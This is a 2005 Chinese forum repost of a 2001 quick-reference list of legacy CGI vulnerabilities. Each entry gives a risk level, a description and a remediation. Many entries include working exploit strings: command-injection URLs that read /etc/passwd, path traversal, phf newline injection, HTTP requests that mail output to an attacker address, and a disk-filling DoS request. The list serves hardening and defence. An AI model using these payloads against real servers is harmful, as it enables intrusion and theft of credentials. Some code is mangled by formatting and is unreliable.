| 
 
     
- UID
 - 1 
 - 威望
 - 1240 点 
 - 金钱
 - 24019 金币 
 - 点卡
 - 317 点 
 
  | 
1#
 
发表于 2005-8-24 13:04
 |  只看该作者
 
 
 
 CGI安全漏洞资料速查v1.0
作者:Excalibur 
email: excalibur@21cn.com 
日期:2001-2-12 12:06:37 
[color=#FFFFFF]CGI安全漏洞资料速查v1.0 
################################################################  
#如有任何安全组织或个人愿意无尝对此文进行长期的、不间断地维护、更新或更改。请自行随便,不必与我商讨.但要求是成果必须完全地向internet公开。任何行为的私藏都是不受欢迎的。  
#本文欢迎转摘.但请保持这些声明。  
#如有任何问题或建议,请mailto:iwillsurewin@163.net 
################################################################ 
类型:攻击型  
名字:phf  
风险等级:中  
描述:在NCSA或者Apache(1.1.1版本以内)非商业版本的WebServer中  
   有一段程序util.c,允许黑客以root身份执行任何一个指令:  
http://www.xxx.com/cgi-bin/phf?Qname=root%0Asome%20command%20here  
建议:无  
解决方法:把Apachewebserver升级到1.1.1以上,或者将NCSAwebserver  
     升级到最新版本  
类型:攻击型  
名字:wguset.exe  
风险等级:中  
描述:如果您使用NT做为您的WebServer的操作系统,而且wguest.exe存  
   在于您的Web可执行目录中的话,入侵者将能利用它阅读到您的硬  
   盘上所有USR_用户能阅读的文件  
建议:将wguset.exe从你的Web目录移走或删除  
解决方法:将wguset.exe从你的Web目录移走或删除  
类型:攻击型  
名字:rguset.exe  
风险等级:中  
描述:如果您使用NT做为您的WebServer的操作系统,而且rguest.exe存  
   在于您的Web可执行目录中的话,入侵者将能利用它阅读到您的硬  
   盘上所有USR_用户能阅读的文件  
建议:将rguset.exe从你的Web目录移走或删除  
解决方法:将rguset.exe从你的Web目录移走或删除  
类型:攻击型  
名字:perl.exe  
风险等级:低  
描述:在cgi-bin执行目录下存在perl.exe,这属于严重的配置错误。黑客  
   可以在perl.exe后面加一串指令,利用浏览器在server上执行任何  
   脚本程序  
建议:perl.exe是放在任何带执行权限的web目录下都是不安全的  
解决方法:在web目录下移除perl.exe这个程序.  
类型:攻击型  
名字:shtml.exe  
风险等级:低  
描述:如果您使用FrontPage作为您的WebServer,那么入侵者能够利用  
   IUSR_用户和shtml.exe入侵您的机器,做您不希望的事  
建议:将shtml.exe从你的Web目录移走或删除  
解决方法:将shtml.exe从你的Web目录移走或删除  
类型:攻击型  
名字:wwwboard.pl  
风险等级:低  
描述:wwwboard.pl程序容易引起攻击者对服务器进行D.O.S攻击  
建议:如无必要可以删除该文件  
解决方法:对get_variables的子程序中的下面这段:- if($FORM{';followup';}){$followup="1"; 
 - @followup_num=split(/,/,$FORM{';followup';}); 
 - $num_followups=@followups=@followup_num;
 - $last_message=pop(@followups);
 - $origdate="$FORM{';origdate';}"; 
 - $origname="$FORM{';origname';}"; 
 - $origsubject="$FORM{';origsubject';}";} 
 
  复制代码 替换为:- if($FORM{';followup';}){ 
 - $followup="1"; 
 - @followup_num=split(/,/,$FORM{';followup';}); 
 - $num_followups=@followups=@followup_num; 
 - $last_message=pop(@followups); 
 - $origdate="$FORM{';origdate';}"; 
 - $origname="$FORM{';origname';}"; 
 - $origsubject="$FORM{';origsubject';}"; 
 - #WWWBoardBombPatch 
 - #WrittenBy:SamuelSparlingsparling@slip.net) 
 - $fn=0; 
 - while($fn<$num_followups) 
 - { 
 - $cur_fup=@followups$fn]; 
 - $dfn=0; 
 - foreach$fm(@followups) 
 - { 
 - if(@followups[$dfn]==@followups[$fn]&&$dfn!=$fn) 
 - { 
 - &error(board_bomb); 
 - } 
 - $dfn++; 
 - } 
 - $fn++; 
 - } 
 - #EndWWWBoardBombPatch 
 - } 
 
  复制代码 类型:攻击型  
名字:uploader.exe  
风险等级:中  
描述:如果您使用NT作为您的WebServer的操作系统,入侵者能够利用  
   uploader.exe上传任何文件  
建议:将uploader.exe从你的Web目录移走或删除  
解决方法:将uploader.exe从你的Web目录移走或删除  
类型:攻击型  
名字:bdir.htr  
风险等级:高  
描述:如果您使用NT做为您的WebServer的操作系统,而且bdir.htr存在  
   于您的Web可执行目录中的话,入侵者将能利用它在您的服务器上  
   无止境的创建ODBC数据库,并生成一些可执行的文件。  
建议:将bdir.htr从你的Web目录移走或删除  
解决方法:将bdir.htr从你的Web目录移走或删除  
类型:攻击型  
名字:Count.cgi  
风险等级:高  
描述:在/cgi-bin目录下的Count.cgi程序(wwwcount2.3版本)有一个溢出  
   错误,允许入侵者无须登录而远程执行任何指令。  
建议:如无必要可以删除该文件  
解决方法:将wwwcount升级到2.4或者以上  
类型:攻击型  
名字:test-cgi  
风险等级:高  
描述:test-cgi这个文件可以被入侵者用来浏览服务器上的重要信息  
建议:建议审核cgi-bin目录下的执行程序,严格控制访问权限  
解决方法:删除test-cgi文件  
类型:攻击型  
名字:nph-test-cgi  
风险等级:高  
描述:nph-test-cgi这个文件可以被入侵者用来浏览服务器上的重要信息  
建议:建议审核cgi-bin目录下的执行程序,严格控制访问权限  
解决方法:删除nph-test-cgi文件  
类型:攻击型  
名字:php.cgi  
风险等级:低  
描述:php.cgi程序有较多的漏洞,包括缓存溢出漏洞,还有导致任何系  
   统文件可以被入侵者读取的漏洞  
建议:建议审核cgi-bin目录,避免有不必要的程序存在  
解决方法:删除php.cgi程序是最好的办法  
类型:攻击型  
名字:handler  
风险等级:低  
描述:IRIX5.3,6.2,6.3,6.4的/cgi-bin/handler程序存在缓存溢出  
   错误,允许入侵者在server上远程执行一段程序:  
   telnettarget.machine.com80  
   GET/cgi-bin/handler/whatever;cat/etc/passwd|?data=Download  
   HTTP/1.0  
建议:建议审核cgi-bin目录,避免有不必要的程序存在  
解决方法:删除handler文件  
类型:攻击型  
名字:webgais  
风险等级:高  
描述:/cgi-bin,目录下的webgais是GAIS搜索工具的一个接口,它有一个  
   毛病使入侵者可以绕过程序的安全机制,执行系统命令:-    POST/cgi-bin/webgaisHTTP/1.0 
 -    Content-length:85(replacethiswiththeactuallengthof 
 -    the"exploit"line) 
 -    telnettarget.machine.com80query=';;mail+you\@your.host 
 
  复制代码 建议:建议审核cgi-bin目录,避免有不必要的程序存在  
解决方法:删除webgais文件  
类型:攻击型  
名字:websendmail  
风险等级:高  
描述:/cgin-bin目录下的websendmail程序允许入侵者执行一个系统指令:-    telnettarget.machine.com80 
 -    POST/cgi-bin/websendmailHTTP/1.0 
 -    Content-length:xxx(shouldbereplacedwiththeactual 
 -    lengthofthestringpassedtotheserver,inthiscase 
 -    xxx=90) receiver=;mail+your_address\@somewhere.org 
 -    &content=a 
 
  复制代码 建议:建议审核cgi-bin目录,避免有不必要的程序存在  
解决方法:高级用户:编辑websendmail脚本,过滤特殊字符  
一般用户:删除websendmail文件  
类型:攻击型  
名字:webdist.cgi  
风险等级:高  
描述:对于Irix6.2和6.3平台,/cgi-bin目录下的webdist.cgi有一个弱点  
   允许入侵者无须登录而在系统上执行任何指令:  
   http://host/cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd  
建议:建议审核cgi-bin目录,避免有不必要的程序存在  
解决方法:删除/var/www/cgi-bin/webdist.cgi目录下的webdist.cgi  
类型:攻击型  
名字:faxsurvey  
风险等级:高  
描述:在LinuxS.u.S.E上/cgi-bin目录下的faxsurvey程序允许入侵者无  
   须登录就能在服务器执行指令:http://joepc.linux.elsewhere.org/  
   cgi-bin/faxsurvey?/bin/cat%20/etc/passwd  
建议:建议审核cgi-bin目录,避免有不必要的程序存在  
解决方法:删除/cgi-bin/faxsurvey文件  
类型:攻击型  
名字:htmlscript  
风险等级:中  
描述:安装了htmlscript2.99x或者更早版本的服务器,存在一个毛病使  
   入侵者可以查看服务器上的任何文件:  
   http://www.vulnerable.server.com/cgi-bin/htmlscript?../../  
   ../../etc/passwd  
建议:建议审核cgi-bin目录,避免有不必要的程序存在  
解决方法:删除/cgi-bin/htmlscript脚本文件,或者将htmlscript升级到  
     3.0以上  
类型:攻击型  
名字:pfdisplay  
风险等级:中  
描述:在Irix6.4或者更早版本的web服务器上,/cgi-bin/pfdisplay程序  
   允许入侵者非法查看服务器上的文件  
建议:建议审核cgi-bin目录,避免有不必要的程序存在  
解决方法:删除/cgi-bin/pfdisplay文件,或者打补丁,补丁可以去  
     sgigate.sgi.com(204.94.209.1)或者ftp.sgi.com下载:     Filename:README.patch.3018  
     Algorithm#1(sum-r):3795511README.patch.3018  
     Algorithm#2(sum):1545511README.patch.3018  
     MD5checksum:1169EB51D75E0794C64C2C1FD6211B69  
     Filename:patchSG0003018  
     Algorithm#1(sum-r):016792patchSG0003018  
     Algorithm#2(sum):128762patchSG0003018  
     MD5checksum:BD16A53A0AE693D6E9E276EE066BDBC8  
     Filename:patchSG0003018.idb  
     Algorithm#1(sum-r):013392patchSG0003018.idb  
     Algorithm#2(sum):2512patchSG0003018.idb  
     MD5checksum:1CB16E6A8C50BF17CD02A29C2E4D35EB  
     Filename:patchSG0003018.performer_tools_man  
     Algorithm#1(sum-r):102018patchSG0003018.per-  
     -former_tools_man  
     Algorithm#2(sum):31448patchSG0003018.performer_t-  
     -ools_man  
     MD5checksum:B6B3D90FAB9B5A342397C3E5AF5A8D29  
     Filename:patchSG0003018.performer_tools_sw  
     Algorithm#1(sum-r):4847418patchSG0003018.perform-  
     -er_tools_sw  
     Algorithm#2(sum):2817618patchSG0003018.performer_  
     tools_sw  
     MD5checksum F4E8ED8326A6A0B39F7B4D67E5FD71F   类型:攻击型  
名字:www-sql  
风险等级:中  
描述:www-sql存在于/cgi-bin/目录下,这将导致入侵可以越权访问被保  
   护的文件  
建议:最好删除www-sql文件  
解决方法:- #ifPHPFASTCGI 
 -      while(FCGI_Accept()>=0) 
 -      { 
 -      #endif 
 -      s=getenv("REDIRECT_STATUS"); 
 -      if(!s){ 
 -      puts("Content-type:text/plain\r\n\r\nPHP/FIdetected 
 -      aninternalerror.Pleaseinformsa@hogia.netofwhat 
 -      youjustdid.\n"); 
 -      exit(1); 
 -      } 
 -      s=getenv("PATH_TRANSLATED"); 
 
  复制代码 类型:攻击型  
名字:view-source  
风险等级:高  
描述:在cgi-bin目录下的view-source程序没有对输入进行安全检查,使  
   入侵者可以查看服务器上的任何文件  
建议:建议审核cgi-bin目录,避免有不必要的程序存在  
解决方法:删除/cgi-bin目录下的viewsource程序  
类型:攻击型  
名字:campas  
风险等级:高  
描述:在cgi-bin目录下的campas程序有一个毛病可以使入侵者随意查看  
   server上的重要文件:-    telnetwww.xxxx.net80 
 -    Trying200.xx.xx.xx... 
 -    Connectedtovenus.xxxx.net 
 -    Escapecharacteris';^]';. 
 -    GET/cgi-bin/campas?%0acat%0a/etc/passwd%0a 
 
  复制代码 建议:建议审核cgi-bin目录,避免有不必要的程序存在  
解决方法:删除/cgi-bin目录下的campas程序  
类型:攻击型  
名字:aglimpse  
风险等级:高  
描述:在cgi-bin目录下的aglimpse程序有一个毛病可以使入侵者无须登  
   录而随意执行任何指令   
建议:建议审核cgi-bin目录,避免有不必要的程序存在  
解决方法:删除/cgi-bin目录下的aglimpse程序  
类型:攻击型  
名字:AT-admin.cgi  
风险等级:中  
描述:在ExciteforWebServers1.1上的/cgi-bin/AT-admin.cgi程序,允  
   许普通用户完全控制整个系统  
建议:建议审核cgi-bin目录,避免有不必要的程序存在  
解决方法:删除/cgi-bin目录下的AT-admin.cgi程序  
类型:攻击型  
名字:finger  
风险等级:中  
描述:这个位于/cgi-bin下的finger程序,可以查看其它服务器的信息,  
   但是如果将参数改成本机,本机上的帐号信息将暴露无遗:  
   /cgi-bin/finger?@localhost  
建议:建议审核cgi-bin目录,避免有不必要的程序存在  
解决方法:删除/cgi-bin目录下的finger程序  
类型:攻击型  
名字:webwho.pl  
风险等级:中  
描述:如果在您的Web可执行目录中有webwho.pl这个CGI脚本,那么入侵  
   者将能利用他阅读启动Web的用户能读写执行的任何文件。  
建议:将webwho.pl从您的Web目录中删除或移走  
解决方法:将webwho.pl从您的Web目录中删除或移走  
类型:攻击型  
名字:w3-msql  
风险等级:低  
描述:MiniSQL软件包发行版本附带的一个CGI(w3-msql)可被用于以  
   httpd的uid权限执行任意代码。这个安全漏洞是由程序中的scanf()  
   函数引起的。  
建议:如果您安装了MiniSQL软件包,请您将/cgi-bin/目录下的w3-msql文  
   件删除或移走  
解决方法:如果您安装了MiniSQL软件包,请您将/cgi-bin/目录下的w3-msql  
     文件删除或移走.或使用以下补丁。  
补丁:- ------w3-msql.patch--------- 
 - 410c410 
 - scanf("%s",boundary); <br>--- 
 - <scanf("%128s",boundary);>
 - 418c418 
 - <strcat(var,buffer);
 - <strncat(var,buffer,sizeof(buffer)); 
 - 428c428 
 - <scanf("Content-Type:%s",buffer);>
 - <scanf("Content-Type:%15360s",buffer);> 
 - ------w3-msql.patch--------- 
 
  复制代码 类型:攻击型  
名字:NetscapeFastTrackserver2.0.1a  
风险等级:中  
描述:UnixWare7.1附带的NetscapeFastTrackserver2.0.1a存在一个远程  
   缓冲区溢出漏洞。缺省地,监听457端口的httpd通过http协议提供  
   UnixWare文档。如果向该服务器传送一个长度超过367字符的GET请  
   求,会使缓冲区溢出,EIP值被覆盖将可能导致任意代码以httpd权  
   限执行。  
建议:临时解决方法是关闭NetscapeFastTrack服务器  
解决方法:临时解决方法是关闭NetscapeFastTrack服务器。  
类型:攻击型  
名字:AnyForm.cgi  
风险等级:高  
描述:位于cgi-bin目录下的AnyForm.cgi程序,是用于简单表单通过邮件  
   传递响应的,但该程序对用户输入检查不彻底,可被入侵者利用,  
   在server上执行任何指令.  
建议:建议审核cgi-bin目录,避免有不必要的程序存在  
解决方法:建议升级该cgi程序,或者删除该文件  
类型:攻击型  
名字:whois.cgi  
风险等级:低  
描述:在多个WebServer中带有的Whois.cgi存在溢出漏洞。它们包括:  
WhoisInternicLookup-version:1.02  
CCWhois-Version:1.0  
Matt';sWhois-Version:1  
  他们将使入侵者能够在您的系统上使用启动httpd用户的权限执行任  
意的代码  
建议:将在您Web目录中问whois.cgi删除或移走  
解决方法:将在您Web目录中问whois.cgi删除或移走  
类型:攻击型  
名字:environ.cgi  
风险等级:中  
描述:在Apachewebserver或者IIS等其它webserver的/cgi-bin/environ.cgi  
   程序,有一个毛病允许入侵者绕过安全机制,浏览服务器上的一些  
   文件。  
建议:建议审核cgi-bin目录,避免有不必要的程序存在  
解决方法:建议升级该cgi程序,或者删除该文件  
类型:攻击型  
名字:wrap  
风险等级:中  
描述:/cgi-bin/wrap程序有两个漏洞,均允许入侵者获取服务器上文件  
   的非法访问,如:  
   http://host/cgi-bin/wrap?/../../../../../etc  
建议:建议审核cgi-bin目录,避免有不必要的程序存在  
解决方法:删除/cgi-bin/wrap文件  
类型:攻击型  
名字:edit.pl  
风险等级:中  
描述:/cgi-bin/edit.pl有一个安全弱点,用下面这条命令就可以访问用  
   户的配置情况:  
 http://www.sitetracker.com/cgi-bin/edit.pl?account=&password=  
建议:建议审核cgi-bin目录,避免有不必要的程序存在  
解决方法:删除/cgi-bin/edit.pl文件  
类型:攻击型  
名字:service.pwd  
风险等级:中  
描述:UNix系统的http://www.hostname.com/_vti_pvt/service.pwd可读,  
   将暴露用户密码信息  
建议:建议删除  
解决方法:chownrootservice.pwd chmod700service.pwd  
类型:攻击型  
名字:administrators.pwd  
风险等级:中  
描述:UNix系统的http://www.hostname.com/_vti_pvt/administrators.pwd  
   可读,将暴露用户密码信息  
建议:建议删除  
解决方法:chownrootadministrators.pwd chmod700administrators.pwd  
相关连接:   
类型:攻击型  
名字:users.pwd  
风险等级:中  
描述:UNix系统的http://www.hostname.com/_vti_pvt/users.pwd可读,  
   将暴露用户密码信息  
建议:建议删除  
解决方法:chownrootusers.pwd chmod700users.pwd  
类型:攻击型  
名字:authors.pwd  
风险等级:中  
描述:UNix系统的http://www.hostname.com/_vti_pvt/authors.pwd可读,  
   将暴露用户密码信息  
建议:建议删除  
解决方法:chownrootauthors.pwd chmod700authors.pwd  
类型:攻击型  
名字:visadmin.exe  
风险等级:中  
描述:在OmniHTTPdWebServer的cgi-bin目录下存在这个文件visadmin.exe,  
   那么攻击者只要输入下面的命令:  
   http://omni.server/cgi-bin/visadmin.exe?user=guest数分钟之  
   后服务器的硬盘将会被撑满  
建议:建议删除  
解决方法:把visadmin.exe从cgi-bin目录中删除  
类型:攻击型  
名字:get32.exe  
风险等级:高  
描述:Alibaba的webserver,其cgi-bin目录存在get32.exe这个程序,允  
   许入侵者任意执行一条指令:  
http://www.victim.com/cgi-bin/get32.exe|echo%20>c:\command.com  
建议:建议删除  
解决方法:把GET32.exe从cgi-bin目录中删除  
类型:攻击型  
名字:alibaba.pl  
风险等级:高  
描述:Alibaba的webserver,其cgi-bin目录存在alibaba.pl这个程序,允  
   许入侵者任意执行一条指令:  
   http://www.victim.com/cgi-bin/alibaba.pl|dir  
建议:建议删除  
解决方法:把alibaba.pl从cgi-bin目录中删除  
类型:攻击型  
名字:tst.bat  
风险等级:高  
描述:Alibaba的webserver,其cgi-bin目录存在tst.bat这个程序,允许  
   入侵者任意执行一条指令:  
http://www.victim.com/cgi-bin/tst.bat|type%20c:\windows\win.ini  
建议:建议删除  
解决方法:把tst.bat从cgi-bin目录中删除  
类型:攻击型  
名字:fpcount.exe  
风险等级:低  
描述:如果您使用NT作为您的WebServer的操作平台,并只安装了SP3补丁,  
   那么入侵者能利用这个CGI程序进行DoS攻击,使您的IIS服务拒绝  
   访问。  
建议:将在您Web目录中的fpcount.exe删除或移走  
解决方法:将在您Web目录中的fpcount.exe删除或移走  
类型:攻击型  
名字:openfile.cfm  
风险等级:低  
描述:如果在您的Web目录中含有   /cfdocs/expeval/exprcalc.cfm  
   /cfdocs/expeval/sendmail.cfm  
   /cfdocs/expeval/eval.cfm  
   /cfdocs/expeval/openfile.cfm  
   /cfdocs/expeval/displayopenedfile.cfm  
   /cfdocs/exampleapp/email/getfile.cfm  
   /cfdocs/exampleapp/publish/admin/addcontent.cfm     这些文件,那么入侵者可能能够利用它们读到您系统上的所有文件  
建议:将在您Web目录中的openfile.cfm删除或移走  
解决方法:将在您Web目录中的openfile.cfm删除或移走  |   
 
 
 
 
                     我是一个呼吸着现在的空气而生活在过去的人 
               这样的注定孤独,孤独的身处闹市却犹如置身于荒漠 
                                     我已习惯了孤独,爱上孤独 
                                 他让我看清了自我,还原了自我 
                             让我再静静的沉思中得到快乐和满足 
                                   再孤独的世界里我一遍又一遍 
                                   不厌其烦的改写着自己的过去 
                                             延伸到现在与未来 
                                       然而那只是泡沫般的美梦 
                                 产生的时刻又伴随着破灭的到来 
                         在灰飞烟灭的瞬间我看到的是过程的美丽 
                                      而不是结果的悲哀。。。 
 | 
 
 
 
 |